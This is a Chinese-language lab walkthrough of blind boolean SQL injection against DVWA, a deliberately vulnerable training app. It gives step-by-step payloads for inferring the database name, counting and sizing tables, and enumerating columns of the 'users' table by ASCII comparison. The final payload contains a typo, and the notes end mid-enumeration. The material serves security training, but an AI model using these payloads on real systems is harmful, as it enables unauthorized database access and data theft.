尝试1到10发现只有存在5个数据库id
接下来判断是什么类型的
说明是字符型的
判断数据库长度
1' and length(database())=4#
说明数据库只有四个字节
接下来猜/判断字符串ASCII
第一个字符
1' and ASCII(substr(database(),1,1))>97#正确
1' and ASCII(substr(database(),1,1))>110# 错误
1' and ASCII(substr(database(),1,1))=100# 正确
说明第一个字符为d
以此类推
第二个字符
1' and ASCII(substr(database(),2,1))=118# 正确v
第三个字符
1' and ASCII(substr(database(),3,1))=119#正确w
第四个字符
1' and ASCII(substr(database(),4,1))=97# 正确a
所以数据库为dvwa
判断数据表有几个
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
只有两个表
查看表的长度
第一个
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #
第二个
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
猜名字 猜ASCLL
第二个表
第一个字符
1' and ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # u
由于已知需要的表名为user
以此类推
1' and (select count(column_name) from information_schema.columns where table_name='users')=10#
猜解名字
' or ASCII(substr((select column_name from information_schema.columns where table_name='users'imit 1,1),1,1))=102 #